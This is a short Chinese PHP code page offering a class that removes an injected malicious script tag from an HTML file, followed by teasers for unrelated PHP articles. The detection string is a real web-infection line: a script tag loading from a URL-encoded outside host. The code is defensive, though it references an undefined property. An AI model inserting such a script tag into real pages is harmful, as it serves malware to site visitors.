php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

dedecms系统的广告设置代码 基础版本

1.文章内每篇文章的结尾处,顶一下 踩一下的上方的广告位置, 这个位置的大小是658*60 658长度不要变,60高度可以任意改 广告代码添加在这—-后台—–模板—-默认模板管理—-找到...

详解php用static方法的原因

静态方法不需要所在类被实例化就可以直接使用。 静态方法效率上要比实例化高,静态方法的缺点是不自动进行销毁,而实例化的则可以做销毁。 静态方法和静态变量创建后始终使用同一块内存,而使用实例...

PHP pear安装配置教程

什么是PEAR? PEAR是PHP扩展与应用库(the PHP Extension and Application Repository)的缩写。它是一个PHP扩展及应用的一个代码仓库,...

php中照片旋转 (orientation) 问题的正确处理

前言 iPhone和一些数码相机在拍照的时候往往会在图片里面加入很多的照片信息(exif),比如拍照时间、光圈大小、曝光时间、GSP地理信息以及拍摄时相机倾斜状态等等,这些信息往往会提供...

PHP类中Static方法效率测试代码

类的定义如下: 复制代码 代码如下: class test { public static function a(){} public function b(){} } $obj = n...